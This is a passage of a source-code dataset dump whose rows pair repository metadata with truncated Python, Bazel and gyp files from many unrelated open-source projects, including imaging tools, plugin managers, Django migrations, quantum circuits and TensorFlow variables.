] | 9 | 2021-12-14T19:53:57.000Z | 2022-01-18T18:45:26.000Z | imgtools/ops/functional.py | bhklab/med-imagetools | 0cce0ee6666d052d4f76a1b6dc5d088392d309f4 | [
"Apache-2.0"
] | 4 | 2021-12-05T02:54:00.000Z | 2021-12-10T20:32:20.000Z | imgtools/ops/functional.py | bhklab/med-imagetools | 0cce0ee6666d052d4f76a1b6dc5d088392d309f4 | [
"Apache-2.0"
] | 1 | 2022-01-04T17:43:39.000Z | 2022-01-04T17:43:39.000Z | import SimpleITK as sitk
import numpy as np
from typing import Sequence, Union, Tuple, Optional
from collections import namedtuple
from imgtools.modules import segmentation
from ..modules import Segmentation
INTERPOLATORS = {
"linear": sitk.sitkLinear,
"nearest": sitk.sitkNearestNeighbor,
"bspline": si... | 33.087464 | 134 | 0.640145 |
b646f0eeb2f48e5e0c937dba92f641eb02e8566b | 4,525 | py | Python | fps/plugins.py | davidbrochart/fps | 34339344fc5014d7edab02d256c2ad7a9cb7c167 | [
"BSD-3-Clause"
] | null | null | null | fps/plugins.py | davidbrochart/fps | 34339344fc5014d7edab02d256c2ad7a9cb7c167 | [
"BSD-3-Clause"
] | null | null | null | fps/plugins.py | davidbrochart/fps | 34339344fc5014d7edab02d256c2ad7a9cb7c167 | [
"BSD-3-Clause"
] | null | null | null | import logging
from fastapi import APIRouter
from pluggy import PluginManager
from starlette.routing import Mount
from fps import hooks
from fps.config import Config, FPSConfig
from fps.hooks import HookType
from fps.utils import get_plugin_name
logger = logging.getLogger("fps")
def get_pluggin_manager(hook_type: ... | 33.518519 | 87 | 0.551381 |
a04984884bef4e5a1d4e6dfe4d3bb285f8d25554 | 4,819 | py | Python | nlp_architect/data/cdc_resources/wikipedia/wiki_offline.py | ikuyamada/nlp-architect | 2769bbf948b2509b4ac7dc287fddf907046bf283 | [
"Apache-2.0"
] | 1 | 2020-07-18T08:35:52.000Z | 2020-07-18T08:35:52.000Z | nlp_architect/data/cdc_resources/wikipedia/wiki_offline.py | SIVASHANKAR-S/nlp-architect | b9d7df0afde39b62b2c23e24211e368b82623abc | [
"Apache-2.0"
] | null | null | null | nlp_architect/data/cdc_resources/wikipedia/wiki_offline.py | SIVASHANKAR-S/nlp-architect | b9d7df0afde39b62b2c23e24211e368b82623abc | [
"Apache-2.0"
] | 1 | 2020-09-30T17:29:26.000Z | 2020-09-30T17:29:26.000Z | # ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apa... | 37.944882 | 97 | 0.618178 |
47c355b198499755c36d4cb5e876c3abc6cc2c2b | 444 | py | Python | Codebase/Active_Codebase/Backend/__init__.py | psmd-iberutaru/Akamai_Internship | ed02cecbb8ac3f93e26595befacd2ca997a7a747 | [
"Unlicense"
] | null | null | null | Codebase/Active_Codebase/Backend/__init__.py | psmd-iberutaru/Akamai_Internship | ed02cecbb8ac3f93e26595befacd2ca997a7a747 | [
"Unlicense"
] | 2 | 2018-08-09T08:53:20.000Z | 2018-08-11T14:25:38.000Z | Codebase/Active_Codebase/Backend/__init__.py | psmd-iberutaru/Akamai_Internship | ed02cecbb8ac3f93e26595befacd2ca997a7a747 | [
"Unlicense"
] | null | null | null | # Do imports so namespaces on the main files are too large.
from Backend import astronomical_coordinates as astrcoord
from Backend import cloud_line_integration as cli
from Backend import coordinate_system_transformation as cst
from Backend import electromagnetic_field_polarization as efp
from Backend import Ewertowsk... | 49.333333 | 61 | 0.873874 |
b72b2099f44104dc950253d7d0d64e629e0a9460 | 15,770 | gyp | Python | gyp/tools.gyp | ecoal95/skia | e24d96fc38d8dc96eeeb4915cc21bf7b31178844 | [
"BSD-3-Clause"
] | 111 | 2015-01-13T22:01:50.000Z | 2021-06-10T15:32:48.000Z | gyp/tools.gyp | ecoal95/skia | e24d96fc38d8dc96eeeb4915cc21bf7b31178844 | [
"BSD-3-Clause"
] | 129 | 2015-01-14T16:07:02.000Z | 2020-03-11T19:44:42.000Z | gyp/tools.gyp | ecoal95/skia | e24d96fc38d8dc96eeeb4915cc21bf7b31178844 | [
"BSD-3-Clause"
] | 64 | 2015-01-14T16:45:39.000Z | 2021-09-08T11:16:05.000Z | # GYP file to build various tools.
#
# To build on Linux:
# ./gyp_skia tools.gyp && make tools
#
{
'includes': [
'apptype_console.gypi',
],
'targets': [
{
# Build all executable targets defined below.
'target_name': 'tools',
'type': 'none',
'dependencies': [
'bbh_shootout'... | 24.913112 | 85 | 0.445212 |
67c8e42f0b5f5e9eef1075d7bc728da3e096fb5f | 2,639 | py | Python | test/pyaz/synapse/spark/session/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | null | null | null | test/pyaz/synapse/spark/session/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | 9 | 2021-09-24T16:37:24.000Z | 2021-12-24T00:39:19.000Z | test/pyaz/synapse/spark/session/__init__.py | bigdatamoore/py-az-cli | 54383a4ee7cc77556f6183e74e992eec95b28e01 | [
"MIT"
] | null | null | null | import json, subprocess
from .... pyaz_utils import get_cli_name, get_params
def create(workspace_name, spark_pool_name, name, executor_size, executors, reference_files=None, configuration=None, tags=None):
params = get_params(locals())
command = "az synapse spark session create " + params
print(comman... | 35.662162 | 129 | 0.673361 |
9827ca8db45755d5dc41e65e09403c05671e2df4 | 513 | py | Python | tests/molecular/topology_graphs/vertex/cases/macrocycle/conftest.py | stevenbennett96/stk | 6e5af87625b83e0bfc7243bc42d8c7a860cbeb76 | [
"MIT"
] | null | null | null | tests/molecular/topology_graphs/vertex/cases/macrocycle/conftest.py | stevenbennett96/stk | 6e5af87625b83e0bfc7243bc42d8c7a860cbeb76 | [
"MIT"
] | null | null | null | tests/molecular/topology_graphs/vertex/cases/macrocycle/conftest.py | stevenbennett96/stk | 6e5af87625b83e0bfc7243bc42d8c7a860cbeb76 | [
"MIT"
] | null | null | null | import numpy as np
import pytest
import stk
from ...case_data import CaseData
@pytest.fixture(
params=(
lambda: CaseData(
vertex=stk.macrocycle.CycleVertex(
id=0,
position=(1, 2, 3),
flip=True,
angle=np.pi,
),
... | 19.730769 | 59 | 0.489279 |
7f306202548927c9ddeb2fb7581616cc2b5f9fcd | 3,525 | py | Python | 5.Reconstruction using FFT descriptors/main.py | MengHao666/Digital-Image-Processing-algorithms | 8a2d24d6360f3c088fbc7128092decf655c16843 | [
"MIT"
] | 4 | 2020-05-23T01:15:37.000Z | 2022-01-08T11:14:32.000Z | 5.Reconstruction using FFT descriptors/main.py | MengHao666/Digital-Image-Processing-algorithms | 8a2d24d6360f3c088fbc7128092decf655c16843 | [
"MIT"
] | null | null | null | 5.Reconstruction using FFT descriptors/main.py | MengHao666/Digital-Image-Processing-algorithms | 8a2d24d6360f3c088fbc7128092decf655c16843 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
my_contour1 = np.asarray(
[[41, 41], [43, 41, ], [45, 41, ], [47, 41], [49, 41], [51, 41], [53, 41], [55, 41],
[57, 41], [59, 41], [61, 41], [63, 41], [65, 41], [67, 41], [69, 41], [71, 41], # 41列
[73, 41], [73, 43], [73, 45], [73, 47], [73, 49], [73, ... | 29.621849 | 101 | 0.522837 |
ca64bbdc26055cf4dbf8e08a49a55aaa59948233 | 1,001 | py | Python | psqlextra/partitioning/partition.py | adamchainz/django-postgres-extra | c11dbb5b75e16f7bd8fd336cc051806cf587269f | [
"MIT"
] | 529 | 2017-03-20T08:16:30.000Z | 2022-03-31T13:23:09.000Z | psqlextra/partitioning/partition.py | adamchainz/django-postgres-extra | c11dbb5b75e16f7bd8fd336cc051806cf587269f | [
"MIT"
] | 137 | 2017-06-08T07:59:22.000Z | 2022-02-07T08:34:38.000Z | psqlextra/partitioning/partition.py | adamchainz/django-postgres-extra | c11dbb5b75e16f7bd8fd336cc051806cf587269f | [
"MIT"
] | 67 | 2017-06-21T10:01:13.000Z | 2022-02-24T21:23:24.000Z | from abc import abstractmethod
from typing import Optional
from psqlextra.backend.schema import PostgresSchemaEditor
from psqlextra.models import PostgresPartitionedModel
class PostgresPartition:
"""Base class for a PostgreSQL table partition."""
@abstractmethod
def name(self) -> str:
"""Generat... | 25.666667 | 75 | 0.67033 |
414e976cc6d4f5fde581707c6539f8076020a719 | 3,030 | py | Python | pycololight/constants.py | BazaJayGee66/pycololight | 027a66d08ee995e50187aca427b22ccb1eba9261 | [
"MIT"
] | 3 | 2022-01-12T08:08:47.000Z | 2022-02-20T14:05:59.000Z | pycololight/constants.py | BazaJayGee66/pycololight | 027a66d08ee995e50187aca427b22ccb1eba9261 | [
"MIT"
] | 1 | 2022-01-12T08:05:08.000Z | 2022-01-12T11:30:24.000Z | pycololight/constants.py | BazaJayGee66/pycololight | 027a66d08ee995e50187aca427b22ccb1eba9261 | [
"MIT"
] | null | null | null | COMMAND_PREFIX = "535a30300000000000"
CUSTOM_EFFECT_COLOURS = {
"Breath": {
"decimal": 128,
"colours": (
"Red, Green, Blue",
"Rainbow",
"Green",
"Azure",
"Blue",
"Purple",
"Red",
"Orange",
"Y... | 20.612245 | 63 | 0.335974 |
29b70448d3f4a577ebc23711b78e913e1070ca57 | 76,847 | bzl | Python | 3rdparty/workspace.bzl | zoidbergwill/bazel-buildfarm | 49ffdc7f1f469b11cf51d02e0d91d734fd161094 | [
"Apache-2.0"
] | null | null | null | 3rdparty/workspace.bzl | zoidbergwill/bazel-buildfarm | 49ffdc7f1f469b11cf51d02e0d91d734fd161094 | [
"Apache-2.0"
] | null | null | null | 3rdparty/workspace.bzl | zoidbergwill/bazel-buildfarm | 49ffdc7f1f469b11cf51d02e0d91d734fd161094 | [
"Apache-2.0"
] | null | null | null | # Do not edit. bazel-deps autogenerates this file from dependencies.yaml.
def _jar_artifact_impl(ctx):
jar_name = "%s.jar" % ctx.name
ctx.download(
output=ctx.path("jar/%s" % jar_name),
url=ctx.attr.urls,
sha256=ctx.attr.sha256,
executable=False
)
src_name="%s-sources.jar... | 332.670996 | 989 | 0.767395 |
9136e333edf6b7fc19502405da47e9faa4586c90 | 367 | py | Python | CF-R698-Div2/B.py | patwadeepak/codeforces | 5da8c79ad6f27a4a2436d19fc8cbf274ecd452e2 | [
"Apache-2.0"
] | null | null | null | CF-R698-Div2/B.py | patwadeepak/codeforces | 5da8c79ad6f27a4a2436d19fc8cbf274ecd452e2 | [
"Apache-2.0"
] | null | null | null | CF-R698-Div2/B.py | patwadeepak/codeforces | 5da8c79ad6f27a4a2436d19fc8cbf274ecd452e2 | [
"Apache-2.0"
] | null | null | null | t = int(input())
while(t):
q, d = list(map(int, input().split()))
a = list(map(int, input().split()))
i=0
while(q):
# check every digit for d
if str(d) in str(a[i]):
print('YES')
else:
if a[i]%d == 0:
print('YE... | 18.35 | 43 | 0.348774 |
4286ac46a4607854cf9d80230831f041f134e192 | 31,342 | py | Python | hyperion/dust/dust_type.py | christopherlovell/hyperion | f65c253abf0bdf174a9302666bc2fec57f7ae7da | [
"BSD-2-Clause"
] | 37 | 2015-01-29T20:58:04.000Z | 2022-03-10T23:36:39.000Z | hyperion/dust/dust_type.py | christopherlovell/hyperion | f65c253abf0bdf174a9302666bc2fec57f7ae7da | [
"BSD-2-Clause"
] | 83 | 2015-01-07T11:04:08.000Z | 2022-02-16T16:26:33.000Z | hyperion/dust/dust_type.py | christopherlovell/hyperion | f65c253abf0bdf174a9302666bc2fec57f7ae7da | [
"BSD-2-Clause"
] | 17 | 2015-04-21T13:17:41.000Z | 2021-12-06T02:42:20.000Z | ##############################################################################
#
# File format versions:
#
# 1: initial version
#
# 2: now contains reciprocal planck opacity and rosseland opacity
# previous rosseland opacity was actually reciprocal planck opacity
#
###############################################... | 35.778539 | 147 | 0.576287 |
fc27c627ac73ca723ded97c3d2d3075b67a9cda3 | 6,622 | py | Python | tensorflow_model_analysis/metrics/calibration_plot.py | hbrylkowski/model-analysis | 3ffa05396ca8cbb92755a40f58528a8808f63c5b | [
"Apache-2.0"
] | null | null | null | tensorflow_model_analysis/metrics/calibration_plot.py | hbrylkowski/model-analysis | 3ffa05396ca8cbb92755a40f58528a8808f63c5b | [
"Apache-2.0"
] | null | null | null | tensorflow_model_analysis/metrics/calibration_plot.py | hbrylkowski/model-analysis | 3ffa05396ca8cbb92755a40f58528a8808f63c5b | [
"Apache-2.0"
] | 1 | 2020-06-04T23:26:00.000Z | 2020-06-04T23:26:00.000Z | # Lint as: python3
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | 34.670157 | 80 | 0.724555 |
1ad84857ae3ec67752f7719130aed5d2f2ad1b68 | 892 | py | Python | PyHive/TOPMed/RnaseqcCounts.py | elowy01/igsr_analysis | ffea4885227c2299f886a4f41e70b6e1f6bb43da | [
"Apache-2.0"
] | 3 | 2018-04-20T15:04:34.000Z | 2022-03-30T06:36:02.000Z | PyHive/TOPMed/RnaseqcCounts.py | elowy01/igsr_analysis | ffea4885227c2299f886a4f41e70b6e1f6bb43da | [
"Apache-2.0"
] | 7 | 2019-06-06T09:22:20.000Z | 2021-11-23T17:41:52.000Z | PyHive/TOPMed/RnaseqcCounts.py | elowy01/igsr_analysis | ffea4885227c2299f886a4f41e70b6e1f6bb43da | [
"Apache-2.0"
] | 5 | 2017-11-02T11:17:35.000Z | 2021-12-11T19:34:09.000Z | """
Created on 21 March 2019
@author: galdam
"""
from Utils.RunSingularity import Singularity
class RnaseqcCounts(Singularity):
"""
Runs the Rnaseqc Counts task in the broadinstitute/gtex_rnaseq singularity image.
"""
PIPELINE = 'rnaseqccounts'
CMD_KWARGS = ['gatk_flags']
CMD_ARGS = ['md_bam... | 27.030303 | 88 | 0.636771 |
06a766d3e27999caad967202ad2442623bb2096f | 22,777 | py | Python | ivy/functional/backends/mxnet/core/general.py | NIkhilbadveli/ivy | 42dc66dd44417102cf0b72d4fc7aea2aaffa75bc | [
"Apache-2.0"
] | null | null | null | ivy/functional/backends/mxnet/core/general.py | NIkhilbadveli/ivy | 42dc66dd44417102cf0b72d4fc7aea2aaffa75bc | [
"Apache-2.0"
] | null | null | null | ivy/functional/backends/mxnet/core/general.py | NIkhilbadveli/ivy | 42dc66dd44417102cf0b72d4fc7aea2aaffa75bc | [
"Apache-2.0"
] | null | null | null | """
Collection of MXNet general functions, wrapped to fit Ivy syntax and signature.
"""
# global
import ivy
_round = round
import logging
import mxnet as _mx
import numpy as _np
import math as _math
from numbers import Number
from operator import mul as _mul
from functools import reduce as _reduce
import multiprocess... | 33.397361 | 120 | 0.652983 |
a75efa746b892a1d7e046a4351dbd0140c3fc777 | 3,798 | py | Python | setup.py | kamuxiy/nonebot-plugin-bilibilicover | a105ca0fdba8fd8469f2e190d6c4df80a8cee708 | [
"MIT"
] | 1 | 2021-09-12T05:03:05.000Z | 2021-09-12T05:03:05.000Z | setup.py | kamuxiy/nonebot-plugin-bilibilicover | a105ca0fdba8fd8469f2e190d6c4df80a8cee708 | [
"MIT"
] | null | null | null | setup.py | kamuxiy/nonebot-plugin-bilibilicover | a105ca0fdba8fd8469f2e190d6c4df80a8cee708 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Note: To use the 'upload' functionality of this file, you must:
# $ pipenv install twine --dev
import io
import os
import sys
from shutil import rmtree
from setuptools import find_packages, setup, Command
# Package meta-data.
NAME = 'nonebot-plugin-bilibilicover'
DE... | 28.992366 | 86 | 0.64139 |
49e82692598760c5620cb2e034df4b1ea60bb6cc | 582 | py | Python | data/test/python/49e82692598760c5620cb2e034df4b1ea60bb6ccurls.py | harshp8l/deep-learning-lang-detection | 2a54293181c1c2b1a2b840ddee4d4d80177efb33 | [
"MIT"
] | 84 | 2017-10-25T15:49:21.000Z | 2021-11-28T21:25:54.000Z | data/test/python/49e82692598760c5620cb2e034df4b1ea60bb6ccurls.py | vassalos/deep-learning-lang-detection | cbb00b3e81bed3a64553f9c6aa6138b2511e544e | [
"MIT"
] | 5 | 2018-03-29T11:50:46.000Z | 2021-04-26T13:33:18.000Z | data/test/python/49e82692598760c5620cb2e034df4b1ea60bb6ccurls.py | vassalos/deep-learning-lang-detection | cbb00b3e81bed3a64553f9c6aa6138b2511e544e | [
"MIT"
] | 24 | 2017-11-22T08:31:00.000Z | 2022-03-27T01:22:31.000Z | from tastypie.api import Api
from .api import TagResource, TopicCategoryResource, ProfileResource, \
GroupResource
from .resourcebase_api import LayerResource, MapResource, DocumentResource, \
ResourceBaseResource, FeaturedResourceBaseResource
api = Api(api_name='api')
api.register(LayerResource())
api.regis... | 30.631579 | 77 | 0.816151 |
c9ac29028d452bfb58a448970b0c428c5b1270bb | 409 | py | Python | cobl/lexicon/migrations/0097_cognateclass_ideophonic.py | Bibiko/CoBL-public | 5092a0d01b7a13565c7da6bf2f6c52d648a2debe | [
"BSD-2-Clause"
] | 3 | 2017-05-30T04:40:43.000Z | 2019-04-25T14:54:54.000Z | cobl/lexicon/migrations/0097_cognateclass_ideophonic.py | Bibiko/CoBL-public | 5092a0d01b7a13565c7da6bf2f6c52d648a2debe | [
"BSD-2-Clause"
] | null | null | null | cobl/lexicon/migrations/0097_cognateclass_ideophonic.py | Bibiko/CoBL-public | 5092a0d01b7a13565c7da6bf2f6c52d648a2debe | [
"BSD-2-Clause"
] | 3 | 2018-07-02T13:42:12.000Z | 2019-05-17T13:11:13.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lexicon', '0096_auto_20160805_1330'),
]
operations = [
migrations.AddField(
model_name='cognateclass',
... | 20.45 | 49 | 0.611247 |
ac280314c4a4c0cb809310e6b76a1f667100346a | 579 | py | Python | spyder/widgets/github/tests/__init__.py | Earthman100/spyder | 949ce0f9100a69504c70a5678e8589a05aee7d38 | [
"MIT"
] | 7,956 | 2015-02-17T01:19:09.000Z | 2022-03-31T21:52:15.000Z | spyder/widgets/github/tests/__init__.py | Earthman100/spyder | 949ce0f9100a69504c70a5678e8589a05aee7d38 | [
"MIT"
] | 16,326 | 2015-02-16T23:15:21.000Z | 2022-03-31T23:34:34.000Z | spyder/widgets/github/tests/__init__.py | Earthman100/spyder | 949ce0f9100a69504c70a5678e8589a05aee7d38 | [
"MIT"
] | 1,918 | 2015-02-20T19:26:26.000Z | 2022-03-31T19:03:25.000Z | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright (c) 2016 Colin Duquesnoy (QCrash project)
# Copyright (c) 2018- Spyder Project Contributors
#
# Licensed under the terms of the MIT License
# (see LICENSE.txt in the parent directory for details)
# ------... | 36.1875 | 79 | 0.537133 |
6fc08f76747a76f3e5d9ed9a8db0ff232cb48b25 | 745 | py | Python | code/python/Vault/v3/fds/sdk/Vault/__init__.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | 6 | 2022-02-07T16:34:18.000Z | 2022-03-30T08:04:57.000Z | code/python/Vault/v3/fds/sdk/Vault/__init__.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | 2 | 2022-02-07T05:25:57.000Z | 2022-03-07T14:18:04.000Z | code/python/Vault/v3/fds/sdk/Vault/__init__.py | factset/enterprise-sdk | 3fd4d1360756c515c9737a0c9a992c7451d7de7e | [
"Apache-2.0"
] | null | null | null | # flake8: noqa
"""
Vault API
Allow clients to fetch Analytics through APIs. # noqa: E501
The version of the OpenAPI document: v3
Contact: analytics.api.support@factset.com
Generated by: https://openapi-generator.tech
"""
__version__ = "0.20.0"
# import ApiClient
from fds.sdk.Vault.api_client ... | 25.689655 | 64 | 0.789262 |
31f213513ac46d0d05d0d6e890b8394c87e83640 | 1,212 | py | Python | Leetcode/Python/_1534.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | 1 | 2021-11-28T15:03:32.000Z | 2021-11-28T15:03:32.000Z | Leetcode/Python/_1534.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | null | null | null | Leetcode/Python/_1534.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | null | null | null | class Solution:
def countGoodTriplets(self, arr: List[int], a: int, b: int, c: int) -> int:
# Brute force solution
counter = 0
lenght = len(arr)
for i in range(lenght-2):
for j in range(lenght-1):
for k in range(lenght):
if i<j and j<k ... | 35.647059 | 101 | 0.395215 |
e863e5d17e2a81426776872c8fbe0fc283b9de32 | 120 | py | Python | hw4/part1/catnapping.py | JWiliams/csc221 | 0653dcb5f185e8517be9146e17b580f62d4930e6 | [
"CC0-1.0"
] | null | null | null | hw4/part1/catnapping.py | JWiliams/csc221 | 0653dcb5f185e8517be9146e17b580f62d4930e6 | [
"CC0-1.0"
] | null | null | null | hw4/part1/catnapping.py | JWiliams/csc221 | 0653dcb5f185e8517be9146e17b580f62d4930e6 | [
"CC0-1.0"
] | null | null | null | print("""Dear Alice,
Eve's cat has been arrested for catnapping, cat burglary, and extortion.
Sincerely,
Bob""") | 10.909091 | 72 | 0.7 |
de6550ef08c526663278129aeaafa329f71b9d91 | 7,465 | py | Python | pyqt testbed.py | realchrisward/PyQT_Minimal_Demo | 931138253a33037ff7326c774bbd57e5cf582e80 | [
"MIT"
] | null | null | null | pyqt testbed.py | realchrisward/PyQT_Minimal_Demo | 931138253a33037ff7326c774bbd57e5cf582e80 | [
"MIT"
] | null | null | null | pyqt testbed.py | realchrisward/PyQT_Minimal_Demo | 931138253a33037ff7326c774bbd57e5cf582e80 | [
"MIT"
] | 1 | 2022-03-17T20:59:20.000Z | 2022-03-17T20:59:20.000Z | # -*- coding: utf-8 -*-
"""
Minimal pyQT testbed
Created on Tue Mar 8 15:27:24 2022
@author: wardc
"""
#%% import libraries
#some of these might not be neccessary
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
from PyQt5 import QtCore
from PyQt5.QtCore import *
from PyQt5 import uic
import sys
import que... | 34.243119 | 98 | 0.590355 |
b337a1079547162cc1b8c959746fd1680965c47f | 2,431 | py | Python | data/p4VQE/R2/benchmark/startQiskit_Class72.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | data/p4VQE/R2/benchmark/startQiskit_Class72.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | data/p4VQE/R2/benchmark/startQiskit_Class72.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | # qubit number=3
# total number=11
import numpy as np
from qiskit import QuantumCircuit, execute, Aer, QuantumRegister, ClassicalRegister, transpile, BasicAer, IBMQ
import networkx as nx
from qiskit.visualization import plot_histogram
from typing import *
from pprint import pprint
from math import log2
from collectio... | 27.314607 | 118 | 0.633896 |
cb60a7afa5f98d704138ab5570a3b9f46a8729a7 | 1,856 | py | Python | pipe/utils.py | IamGianluca/petfinder-pawpularity-score | 955471a031ac14f7447f5ecf1b1a2423073f1bf4 | [
"MIT"
] | null | null | null | pipe/utils.py | IamGianluca/petfinder-pawpularity-score | 955471a031ac14f7447f5ecf1b1a2423073f1bf4 | [
"MIT"
] | null | null | null | pipe/utils.py | IamGianluca/petfinder-pawpularity-score | 955471a031ac14f7447f5ecf1b1a2423073f1bf4 | [
"MIT"
] | null | null | null | from pathlib import Path
from typing import List, Union
import pandas as pd
from omegaconf.omegaconf import OmegaConf
import constants
def get_image_paths_and_targets(
df: pd.DataFrame,
cfg: OmegaConf,
include_extra: int = 0,
ignore=False,
target_format: str = "binary_classification",
) -> Union... | 30.933333 | 77 | 0.646013 |
431c6ed8f2c81480c0dded8d37aa56faf3e21258 | 606 | py | Python | thirdparty/his_evaluators/his_evaluators/protocols/__init__.py | eyaler/impersonator | 6843fb21197bc5a32c8189c8d8cbd880c5b71249 | [
"MIT"
] | 1,717 | 2019-09-27T00:44:11.000Z | 2022-03-29T11:38:21.000Z | thirdparty/his_evaluators/his_evaluators/protocols/__init__.py | eyaler/impersonator | 6843fb21197bc5a32c8189c8d8cbd880c5b71249 | [
"MIT"
] | 81 | 2019-09-27T11:52:05.000Z | 2022-03-12T00:00:31.000Z | thirdparty/his_evaluators/his_evaluators/protocols/__init__.py | eyaler/impersonator | 6843fb21197bc5a32c8189c8d8cbd880c5b71249 | [
"MIT"
] | 337 | 2019-09-27T02:46:06.000Z | 2022-03-14T22:00:02.000Z |
VALID_DATASET = ["iPER", "iPER_ICCV", "MotionSynthetic"]
def create_dataset_protocols(dataset, data_dir):
assert dataset in VALID_DATASET
if dataset == "iPER":
from .iPER import IPERProtocol
return IPERProtocol(data_dir)
elif dataset == "iPER_ICCV":
from .iPER import ICCVIPERPr... | 26.347826 | 75 | 0.693069 |
c038f9b12fbef06406ec46c0c9d41f0a914e3aef | 475 | py | Python | python/Qt/32.ui_mainwind.py | seekindark/helloworld | 00fe439fdbd98add53f3bec7eac2b1ba1dc817a7 | [
"BSD-2-Clause"
] | null | null | null | python/Qt/32.ui_mainwind.py | seekindark/helloworld | 00fe439fdbd98add53f3bec7eac2b1ba1dc817a7 | [
"BSD-2-Clause"
] | 2 | 2019-06-24T00:56:52.000Z | 2019-06-24T01:28:29.000Z | python/Qt/32.ui_mainwind.py | seekindark/helloworld | 00fe439fdbd98add53f3bec7eac2b1ba1dc817a7 | [
"BSD-2-Clause"
] | null | null | null | from ui_mainwind import Ui_MainWindow
from PyQt5.QtWidgets import QApplication, QDialog, QMainWindow
import sys
class Dg_code(Ui_MainWindow, QMainWindow): #注意: 一定要是先继承 Ui_Dialog, 否则就回出错!!
def __init__(self):
super(Dg_code, self).__init__()
self.setupUi(self)
self.show()
... | 25 | 81 | 0.633684 |
6d3e2cee886b1966267b0feae9d15f4cd2ce8c0e | 390 | py | Python | onlineshop/myshop/orders/migrations/0002_order_braintree_id.py | ch1huizong/dj | 12009375fc2113acb0a6cb17f6c2146c83595de8 | [
"Unlicense"
] | 17 | 2017-08-11T03:42:07.000Z | 2020-09-23T15:09:05.000Z | onlineshop/myshop/orders/migrations/0002_order_braintree_id.py | ch1huizong/dj | 12009375fc2113acb0a6cb17f6c2146c83595de8 | [
"Unlicense"
] | null | null | null | onlineshop/myshop/orders/migrations/0002_order_braintree_id.py | ch1huizong/dj | 12009375fc2113acb0a6cb17f6c2146c83595de8 | [
"Unlicense"
] | 13 | 2017-12-02T06:58:34.000Z | 2022-02-01T14:10:14.000Z | # Generated by Django 2.2.3 on 2019-09-06 12:55
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('orders', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='order',
name='braintree_id',
... | 20.526316 | 63 | 0.594872 |
98b71eb8ec985eeaa13272c2771f17d2e791ae1a | 1,261 | py | Python | var/spack/repos/builtin/packages/bucky/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 2 | 2018-11-27T03:39:44.000Z | 2021-09-06T15:50:35.000Z | var/spack/repos/builtin/packages/bucky/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2019-01-11T20:11:52.000Z | 2019-01-11T20:11:52.000Z | var/spack/repos/builtin/packages/bucky/package.py | HaochengLIU/spack | 26e51ff1705a4d6234e2a0cf734f93f7f95df5cb | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 1 | 2020-10-14T14:20:17.000Z | 2020-10-14T14:20:17.000Z | # Copyright 2013-2018 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class Bucky(MakefilePackage):
"""BUCKy is a free program to combine molecular data from multiple... | 32.333333 | 100 | 0.664552 |
b43866eb78f623229c761ed28e09cd919f81fa9a | 4,529 | py | Python | integration_tests/test_recover.py | jpsantos-mf/ezdxf | 2b542a551b2cfc3c0920a5dbf302ff58cea90fbd | [
"MIT"
] | null | null | null | integration_tests/test_recover.py | jpsantos-mf/ezdxf | 2b542a551b2cfc3c0920a5dbf302ff58cea90fbd | [
"MIT"
] | null | null | null | integration_tests/test_recover.py | jpsantos-mf/ezdxf | 2b542a551b2cfc3c0920a5dbf302ff58cea90fbd | [
"MIT"
] | null | null | null | # Copyright (c) 2020, Manfred Moitzi
# License: MIT License
import os
import pytest
import random
from ezdxf import recover
from ezdxf.audit import AuditError
from ezdxf.lldxf.tagger import tag_compiler, ascii_tags_loader
BASEDIR = os.path.dirname(__file__)
DATADIR = 'data'
RECOVER1 = 'recover01.dxf'
RECOVER2 = 'rec... | 31.234483 | 67 | 0.679841 |
dc6ebd0f64f76a94f437ab0e27e795f888843da5 | 81,302 | py | Python | tensorflow/python/ops/resource_variable_ops.py | MathMachado/tensorflow | 56afda20b15f234c23e8393f7e337e7dd2659c2d | [
"Apache-2.0"
] | 10 | 2018-09-26T00:16:57.000Z | 2021-12-08T06:31:39.000Z | tensorflow/python/ops/resource_variable_ops.py | MathMachado/tensorflow | 56afda20b15f234c23e8393f7e337e7dd2659c2d | [
"Apache-2.0"
